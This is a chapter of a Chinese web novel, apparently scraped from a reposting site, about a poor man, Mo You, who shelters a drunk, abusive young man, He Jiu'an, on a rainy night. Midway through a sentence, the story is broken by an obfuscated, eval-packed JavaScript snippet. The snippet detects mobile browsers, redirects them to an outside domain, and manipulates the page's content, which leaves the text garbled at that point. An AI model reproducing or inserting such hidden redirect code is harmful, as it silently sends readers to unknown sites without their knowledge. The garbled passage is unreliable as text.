3.晋江文学城
是跳闸了。
莫友歪着脑袋把伞夹在脑袋和脖颈之间,拉开电闸的罩罩,挨个把电闸推了上去。
“电来了,电来了。”有人拉开门冲着外面喊。
“谢谢小莫。”
“谢了……”
莫友长出一口气,抹去脸上沾到的水珠子,把电闸的罩罩挨个拨下来,伞握在手心滚了几滚,沿着伞骨尖飞出去。
他的脚尖蹭在地面上,视线往自家瞥了两眼,又垂下了,也不知道捡回来的那人走了没。
他有点害怕。不是害怕这人跟他要钱。
家里没什么值钱的东西,左不过是今天拿回来的几百块的大票子。
存折他夹在柜子和墙壁之间,一般人也想不到。
他害怕的是,这人身上有股子若有似无的下坠感。
雨顺着伞骨一点点像断了线的珠子往下落,莫友抬起被打湿小腿的脚,借着蜡烛一小朵光往家的方向走。
门依旧是大开的,昏黄的灯光往外头泄露,照亮门口的水泥地面上脏兮兮的红色地垫。
上面写着“出入平安”。
那是别家店新店开业送的,只要凑个人头就送。
莫友吹灭了手中的蜡烛,一小缕黑色的烟雾往上头飘,他把手搭在门框上,往屋子里探头,破沙发上已经没了人,柜子上的新蜡烛还亮着,靠着门边的伞没了。
走了。应该走了。
莫友靠着门框松了口气,他弯下腰捂着酸痛的膝盖,好一会才直起腰。
他把伞收了靠在门边,伞上的雨水顺着伞尖往下流,流出一道弯弯绕绕的河流。
莫友进了门,把门锁好,挂上防盗链,把钥匙挂在门后的挂钩上,蜡烛丢在鞋架上,踩着“咕叽咕叽”乱叫的塑料拖鞋进了厕所。
莲蓬头上还在滴水,莫友在水龙头底下冲了冲脚,又拿洗澡毛巾擦了擦,才走出去。
新蜡烛已经滚了一圈蜡烛油,挂在蜡烛上像电视剧里女演员挂在脸上的泪珠那么大,莫友看了看噘嘴把蜡烛吹灭了。
五月中旬的夜晚就算下雨也还是闷热,莫友把蜡烛塞回抽屉里,捂着嘴打了个哈欠。
迷蒙的泪水挂在眼睫毛边,他边脱衣服边掀帘子往床边走。
发白的老头衫捏在手里抖了抖,莫友的半只脚已经从拖鞋里挣出来,再睁眼,捡回来的男人正窝在他的小床上,一脸震惊地看着他。
莫友:“……”
贺久安:“……”
贺久安的耳尖起了火,连带着一起烧在眼睛里把眼球烧的通红,掌心被舔过的地方发着痒。
老男人没什么稀奇的,脸不好看肉不紧绷,就是皮肤白,白花花的胸口缀着的两个粉红色的小点,显得格外勾人。
“你他妈怎么不穿衣服!”贺久安猛地坐起来,不够结实的木床一阵难言的吱呀声。
莫友不知所措地往后退了一步:“我……我以为你走了……”
“艹。”贺久安握紧拳头重重捶了下床,“邦”一声木床都跳了下,莫友担忧地看了眼自己不结实的木板床。
那还是他从旧物市场三十块淘回来的,被锤坏了得买个新的,要花好多钱。
贺久安倒回床上,转脸朝着晦暗的墙壁,薄唇好看但毒:“这么大雨,你他妈想我死外头?”
莫友转了圈自己的老头衫,找到下摆迅速穿上了。
他穿好才发现捡回来的那人的视线重新落在了他身上,像是在等他开口回他。
莫友的嘴唇嗫嚅,不知道说什么,垂着脑袋浑身散发着“我不是我没有”的气息:“……我没那个想法……”
他想了想,这人也不会信他。
“……你睡吧。”莫友转身想退出去,手刚抓上布帘子,又怯懦地转回身:“这边隔音不好,你声音小点,被房东发现了我这住两个人,要跟我多要钱的。”
贺久安想骂人,不知道从哪个地方开始。
酒精的火焰在胸膛里面烧起来,被水浇了一遍,灭了一半,卡在胸口不上不下。
“要你管老子。”贺久安低骂了声,扯了扯被子盖好自己只穿着底裤的下半身,抬手挥走眼前嗡嗡叫的蚊子,“热死了,开空调。”
莫友下意识环视自己这个小破屋子,他都住了五六年了,也没见着空调的影子。
他要攒钱给儿子上大学,什么都得省着来。
空调那么精贵的东西他买不起,也不是,装个二手的也行,但他算了算,装完电费他交不起。
这边的房子都安了单独的电表,电费一块五一度,比交给国家的贵好多。
反正他白天在小店,晚上回来天也凉快了,空调用不上。
“没,没空调。”
贺久安热的眉头拧成麻花,一腔子怒气都不知道往哪发,他想掀了被子冲下楼睡外头雨里,这他妈都5202年了,竟然还有人家里没有空调。
“有电扇。”莫友看捡回来那人脸烧的通红的模样,连忙放下帘子,弓着腰往床底下钻。
贺久安在莫友走过来的一瞬间在床上蛄蛹了下,一只手捏着被子差点掐进去,另一只手搓了搓自己的胸口。
贺久安看着老男人撅起的屁股,想给他一脚。
吓死他了!
他还以为冲他来的。
啧……真是,自己吓自己。
莫友推开各种装着衣服的纸箱子和盆,腰一低,手肘撑着往床里面,掏出罩着塑料袋的半人高的台式风扇。
这段时间忙,回来的又晚,他还没来得及洗一遍。
他拍了拍手肘和膝盖上的灰尘,又捂了下冰凉的膝盖,才开始解塑料袋结,手上没指甲半天解不开。
“起开。”贺久安耐心不足一把挥开老男人,一只手扣进塑料袋里撕扯,塑料袋破裂的声音落在空气里。
莫友想拦没拦住,捡起碎成几瓣的塑料袋尸体,团成一团,小声嘀嘀咕咕:“装不了东西了。”
贺久安在心里冷哼一声,把电风扇的按钮拧到底。
丝丝凉意伴着巨大的吱吱呀呀噪音一并传了过来,在雨夜里显得格外吵闹,贺久安被吵的脑子都要炸了。
什么破地方,什么破玩意,这电风扇寿命怕是比他的年龄都要长了,怎么吹?
想什么嘴上就说了什么。
“这他妈要怎么吹?”贺久安被酒精烧红的眼眶红着,眉间的戾气几乎要溢出来。
莫友没吭声脚尖蹭了蹭地面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664872|172960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,身子绕过暴怒的人,胖乎乎圆润润的手指从贺久安面前伸过去,落在老旧的电风扇上。
他把按钮拧回去,电风扇吱吱呀呀的声音随着扇叶的停止而停止,莫友张开口声音里都是平平淡淡的安抚:“先开一档,让扇叶转起来,等稳定了,再开大一点,就没声音了。”
说着,他手上也是这么做的,扇叶缓慢地转起来,吱吱呀呀的声音果然没了。
风从老男人身上经过,吹了过来,带着香皂的粗糙感吹走了烦死人的蚊子。
贺久安的鼻子抽了下,抬手抹了把脸,眉间因为烦躁和湿热而起的戾气渐渐消散,他从手指的缝隙里瞥了眼站在床前的老男人。
脸长得就那样,但抿嘴的时候会有两个浅浅的酒窝,估计笑起来的时候,酒窝会变大,眼睛也还行,仰着脸看人的时候,眼里雾蒙蒙的。
身材没得看,一身软肉,到处都是圆乎乎的,腰粗腿粗,屁股还大。
审美更没的救,破烂衣服也不知道穿了多久,屎黄色的塑料拖鞋进水了咕叽咕叽叫的难听,看一眼就让人烦躁的花布帘子。
最重要的是穷。
穷的要死。
贺久安咂摸了下嘴。
再看看吧。
要真没什么,他不介意给老男人扯条线,肯定有人喜欢这一挂。
贺久安的眼珠子动了动,烦躁地掀了掀眉头,算了,和他有什么关系,人怎么活,活成什么样都和他没关系。
“喂,你叫什么名字?”贺久安翻身,捏着被子盖好下半身。
莫友扯了扯黑色运动裤的边缝,圆润又潮湿的眼睛看过去。
意思是你怎么不先说。
贺久安莫名其妙就从那双眼睛里品出来这句话,他咬了咬牙,想发火又无处发泄。
“莫友,我叫莫友,莫愁前路无知己的莫,友情的友。”说完莫友就打了个哈欠,从天灵盖来的,根本压不住,打完眼睫毛上就挂着泪。
莫友瞥了眼自己的床,瞥了眼自己的被子,瞥了眼自己的枕头,瞥了眼不属于这个床上的人。
“看什么看。”贺久安烦躁地别过脸,长手长脚占满了莫友一米二的小床。
唉,莫友在心里叹气,没有一点他能躺的地。
床头柜上都放着捡回来的人脱下来的外套和外裤,沾着已经干涸的泥巴印。
莫友搓了搓手,又弓着腰从床底下扒拉出捆好的五颜六色的泡沫垫子,一点一点地解开塑料绳。
“外面去,别搁这碍眼。”贺久安捂住耳朵,嫌泡沫垫子在地上呲的难听。
莫友从地上起来,拎着泡沫垫子,绕到床脚,那里堆着他没来得及收起来的另一床被子,他伸出手,风从贺久安的脚边过。
“你他妈干嘛呢?”贺久安猛地直起身子,揽着被子往后退,脑壳撞在坚硬的床头上,“嘭”一声响。
莫友的手顿在空中,指尖扣在塑料绳下发白发红,“我、我拿被子。”
贺久安烦得要死又痛的要命,一双修长的手指在头发里搓来搓去,他抬起脚一脚蹬在被子上,把被子踹地转了个圈:“快拿走。”
“好哦。”莫友全程垂着眼睛不看他,等他发完疯垂着脑袋抱过被子,往布帘子外面走。